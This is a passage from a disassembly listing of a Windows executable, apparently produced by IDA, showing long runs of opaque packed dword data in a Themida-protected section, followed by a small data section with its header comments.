		dd 5A923F08h, 0DE9h, 82151800h,	747AC333h, 639A741Bh, 0BA66E16Eh
		dd 0B70FC9DDh, 13E9C1h,	0DB180000h, 4AFF6AE6h, 93F545FBh
		dd 86B97F86h, 0ACB2EB5h, 8225BE47h, 49B42090h, 6691B460h
		dd 6061D38Bh, 61CF8B66h, 8BC18B66h, 14E9CEh, 0E740000h
		dd 306D7C49h, 51D7001Bh, 0AC1F646h, 2D563C15h, 0DE817099h
		dd 44E7D084h, 0E8E4CA80h, 0Fh, 0E01F3AB5h, 29921951h, 0F4D90E84h
		dd 8A5685C3h, 0AE959C2h, 0F7000000h, 0BC41C3D0h, 0A859BC8Dh
		dd 880F5774h, 5, 9B149BBEh, 0CE95A77h, 28000000h, 0B436D9F0h
		dd 0D999242Fh, 80F43D9Dh, 0BF0F82E9h, 0C880F9C9h, 0BE9ABh
		dd 0AFB90000h, 0EC74D5C0h, 6A75FDC3h, 0A7F080ACh, 81665957h
		dd 0F9002EDEh, 0D071C8BEh, 7E813h, 77130000h, 0B38D5D11h
		dd 830F0Ah, 5E000000h, 0B8C78B66h, 323A7CD1h, 8E9h, 22118200h
		dd 0A73ECFFCh, 12E85140h, 28000000h, 38723A16h,	909DCABBh
		dd 83DBA38Eh, 0BE032505h, 0ADC680C2h, 840F5A59h, 3, 66CECC80h
		dd 526FE9BFh, 926ECB81h, 605F0818h, 0D42CBB66h,	13E9h
		dd 0CC824400h, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h, 59915907h
		dd 17840F61h, 57000000h, 0FE8h,	32617500h, 963B13E6h, 6CFD449h
		dd 58BC564Dh, 0CF81585Bh, 5650728Fh, 2B6EF681h,	0EE82687h
		dd 93000000h, 0ED73CD3Ah, 960B189Eh, 4644F259h,	10BE6643h
		dd 5E858C3h, 2E000000h,	0E854DE78h, 14E9h, 9EAA2700h, 0BBA0417Fh
		dd 0AEB28392h, 57D7D639h, 916F9890h, 0D08A5917h, 2CCE81F5h
		dd 81188C7Dh, 0C1BEFDE9h, 0E9C0B13Ah, 6, 2535B99Ch, 0B866A2B3h
		dd 0BF6604E5h, 0F28B32D2h, 3890Fh, 8B660000h, 3810FF2h
		dd 66000000h, 0B70FD38Bh, 0F78B66C6h, 664EE680h, 81FA5BB8h
		dd 0F7BCF3CEh, 7E81Fh, 378A0000h, 93EB3A99h, 5A02B63Ch
		dd 10E8h, 0BFCD4E00h, 0B1BF1F1Fh, 0C4B7F85Bh, 40BA36A7h
		dd 0CE964h, 8B400000h, 710952Fh, 11CF7530h, 665995C5h
		dd 0FA40EF81h, 595F5752h, 1347BB66h, 0AAE98166h, 3820F98h
		dd 0F000000h, 0F60F7BFh, 487h, 15BB6600h, 0EE903h, 86D80000h
		dd 0DBFB80A6h, 0A3494FBBh, 0B2E80F7Ch, 68C0F61h, 81000000h
		dd 72F1E9D3h, 17880F44h, 0E9000000h, 12h, 0B03FF6CCh, 0A3AC0D8Fh
		dd 5B7F58F1h, 6F54737Eh, 66600B5Dh, 61CF2CB8h, 8B6662B5h
		dd 522CB1C8h, 0F5A93B6h, 787h, 38B95200h, 5F13A55Bh, 7C8DF181h
		dd 0E8F54B29h, 12h, 6BA23167h, 2B92B315h, 50B8DFBCh, 6D589F8Bh
		dd 0CA80B7F4h, 0D88A594Dh, 0E98DC780h, 0Ah, 7B4A7FC1h
		dd 74E1FD97h, 0B8664398h
		dd 0BF0FC89Dh, 0C8B70FD7h, 0BBF9D381h, 81660998h, 6674C3E6h
		dd 7E9D38Bh, 0EB000000h, 0EB14288Bh, 0B9669BA5h, 0B966DE93h
		dd 860FDFF6h, 8, 66616060h, 61C6ADB8h, 0A37DBB66h, 38CA8166h
		dd 800FF3h, 0F000000h, 8B66D9BFh, 84CF81D9h, 0F347187h
		dd 880FCABFh, 8, 870F53h, 5E000000h, 1CE5BE66h,	0E8EA8166h
		dd 0FCB8B23h, 1889h, 128A0F00h,	0E8000000h, 0Ch, 641D2181h
		dd 0DFCAAD6Fh, 0F81A3066h, 4822BA5Ah, 0F38A35E7h, 0CE9h
		dd 0C7FC5A00h, 54F633h,	8BAAA216h, 0C2C28149h, 663DBD47h
		dd 6656D38Bh, 85B9E081h, 2F40B858h, 0DE8B7BB6h,	0B70FF5B2h
		dd 12E9F6h, 8B6E0000h, 1456956Dh, 104B1BC9h, 29BA893Dh
		dd 3E6D6A3Ch, 0EE81FC60h, 3D770931h, 0D1CB8161h, 0E9559942h
		dd 10h,	0E6964EF2h, 9509A03Fh, 5257994Ah, 8945F780h, 890F5B56h
		dd 1, 51EA80F8h, 8993E181h, 816605E3h, 0E96933C6h, 13h
		dd 2A6C97B4h, 0BA3CD946h, 0B91CDA6Eh, 0FA1377B5h, 0FCCFCF13h
		dd 4870Fh, 0BF660000h, 66F56246h, 0AD1DDB81h, 12E9h, 0BB443D00h
		dd 628C4AE6h, 30227D90h, 2159806h, 0F9D1E365h, 8B6660F9h
		dd 0AE8C1h, 0C51F0000h,	0A79F0013h, 991A332Bh, 2AA3E281h
		dd 6159494Fh, 16D28166h, 0B6F08AFFh, 0A0CF818Bh, 0E91FCE35h
		dd 10h,	48877A4Ch, 0EAE498FFh, 4BA77F94h, 964B61ACh, 0BF0FDE8Bh
		dd 0F57F9CEh, 1584h, 0FE800h, 0B3C30000h, 0C94AE5E0h, 741C27A1h
		dd 0B679795h, 0F595807h, 284h, 5388B400h, 7E8h,	65E11C00h
		dd 0BD81EBC0h, 605858F9h, 0CE9h, 0E9653000h, 192DD69Fh
		dd 64601586h, 0C8F0F80h, 0E8000000h, 6,	0DF03949Eh, 615B3FF9h
		dd 9E40C281h, 816644D4h, 0B04BEEE7h, 0F6B0BFB1h, 0FFC427Fh
		dd 386h, 58FC5300h, 9FDE8166h, 31B866A1h, 0CE97Eh, 0F63D0000h
		dd 3CDB9E6Eh, 7BD98F3Ch, 0D681905Ch, 5E6DF000h,	6870F60h
		dd 81000000h, 922BADE0h, 0DE816607h, 66612B9Bh,	0E9BEDA8Bh
		dd 0F003536h, 48Fh, 68B96600h, 4830FBDh, 66000000h, 8B5561BAh
		dd 0F60FCD3h, 689h, 8D0F00h, 61000000h,	13820Fh, 0EE90000h
		dd 0C3000000h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 28C0F5Ah
		dd 8B000000h, 52C381FAh, 56582387h, 0F595857h, 10E8D1BFh
		dd 0A000000h, 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 66ED778Fh
		dd 58523DB9h, 18A0F50h,	0F5000000h, 0CE95Ah, 0C34A0000h
		dd 0F3843C03h, 11758AC8h, 9E99833h, 1D000000h, 5805BC79h
		dd 40E11133h, 5E9h, 4CDA7E00h, 8E88F6Bh, 1B000000h, 90F43875h
		dd 0F4A2CDFh, 28Eh, 5E67B400h, 38B0Fh, 0D5800000h, 810FEEh
		dd 0BB000000h, 7A29B59Fh, 8F009EBAh, 10E97Ch, 8DD50000h
		dd 0F37889BBh, 2C9F7F7Ch, 0DFFC920Ah, 0BA602BF8h, 47C3AF8h
		dd 61CAB70Fh, 0B2C1BF0Fh, 0BE5B5042h, 6C848B90h, 7E8F5h
		dd 0E8DA0000h, 7A19E9D7h, 7AB866C2h, 94BB580Bh,	0E86BC28Ah
		dd 0Eh,	0C671EB10h, 539A84C5h, 62011884h, 5BF89873h, 0EE8F9h
		dd 39EF0000h, 1770A865h, 4C8C3C4Bh, 0D9593F95h,	3DD68150h
		dd 587CF17Fh, 4DBF6658h, 8890FC5h, 52000000h, 880Fh, 0E85E0000h
		dd 0Eh,	659CEDD9h, 7ACC519Dh, 0AF49A07h, 0BE9A3AAh, 49000000h
		dd 0EAAF0324h, 0B5E0A3CDh, 665F0358h, 608DB0B9h, 38A0Fh
		dd 0CF800000h, 0C2BF0FD6h, 80BB6661h, 10E87Ah, 40700000h
		dd 7E4537Ah, 0D8F7BDD4h, 0C4425D04h, 0D38B50C0h, 0E081665Fh
		dd 10E9C60Eh, 63000000h, 39570609h, 0A5190ABDh,	994116D1h
		dd 808FCE5Ch, 860F45CBh, 1Ah, 14810Fh, 0FE90000h, 0D9000000h
		dd 30CB3C18h, 1890D789h, 5476413Dh, 17B65980h, 0E9CA8B66h
		dd 0Ah,	4396E534h, 573F333Eh, 816072A8h, 17DCAEBh, 5FF95779h
		dd 0E8816661h, 10E808BDh, 0B4000000h, 79635B32h, 2FB6D54Ah
		dd 303E6E56h, 60FDE7C2h, 0BF0F6160h, 0F5861CEh,	8E9C8B7h
		dd 8C000000h, 0CEBE5755h, 0BA55CF79h, 145DE515h, 0FCBB70Fh
		dd 487h, 61605000h, 2830F5Ah, 0B7000000h, 5BBA603Fh, 0E95AC3D7h
		dd 0Bh,	0DAAED532h, 6B20F3DCh, 61916E13h, 3800Fh, 0BF0F0000h
		dd 1F890FC0h, 0E8000000h, 0Ah, 0C2638E50h, 0C439DC68h
		dd 0AE952B1h, 0E9000000h, 0E910174Fh, 9765BE5Ch, 11E95837h
		dd 9C000000h, 1875FB9Ah, 0B23D7B28h, 38562198h,	66BA04DFh
		dd 0BDD480F5h, 0F8CFBF0Fh, 8890Fh, 8F0F0000h, 2, 2ABE5A53h
		dd 0E94F9043h, 6, 44A8097Dh, 0DAB652C4h, 60FAB70Fh, 0AE960h
		dd 7E8E0000h, 4FF69C48h, 95A243DAh, 8DC19BBAh, 5E96117h
		dd 19000000h, 4A9158C3h, 6E861h, 0FB4E0000h, 0E1BDC699h
		dd 0E95EE58Ah, 5, 0B1B52BD1h, 0D18B60F1h, 0EE961h, 1CE80000h
		dd 2D89B667h, 0C8B28D02h, 0D1B24CF3h, 66C88B66h, 0E9EE56BAh
		dd 10h,	0BE833E13h, 0A3A72742h,	52387302h, 0F8F2656Bh
		dd 0F1CA8166h, 0D68B6698h, 0FE8h, 0D8DCF900h, 62939133h
		dd 0BD27789Dh, 118D7B58h, 0F78B6660h, 0EE9h, 9145CF00h
		dd 0C799DA2Dh, 4D16F506h, 6111A4E6h, 0E8FA8A5Bh, 13h, 8A521152h
		dd 7B0FA517h, 0FAAAABFAh, 7086BA24h, 0F832585h,	8Fh, 0EE815900h
		dd 438590C5h, 0B8D98166h, 0C7B70F84h, 4CBFB966h, 66F18B66h
		dd 8C0FD68Bh, 4, 0D19FBB66h, 3B30D981h,	0B70F774Dh, 2850FDBh
		dd 8B000000h, 0C9B70FF9h, 0CE9h, 4EBED700h, 0C8321B8Ah
		dd 6F5B7E73h, 69BB663Ah, 9EDD21F3h, 0E8h dup(9EDD2188h)
		dd 0C7DD2188h, 48Ah dup(0C73E4CA9h), 0BAE64CA9h, 1B3h dup(0BAE6956Fh)
		dd 14E6956Fh, 1C2h dup(141480DAh), 0CC1480DAh, 0B14h dup(0CCCCCCCCh)
		dd 0CCh, 21Eh dup(0)
Themida_	ends

; Section 5. (virtual address 001C2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start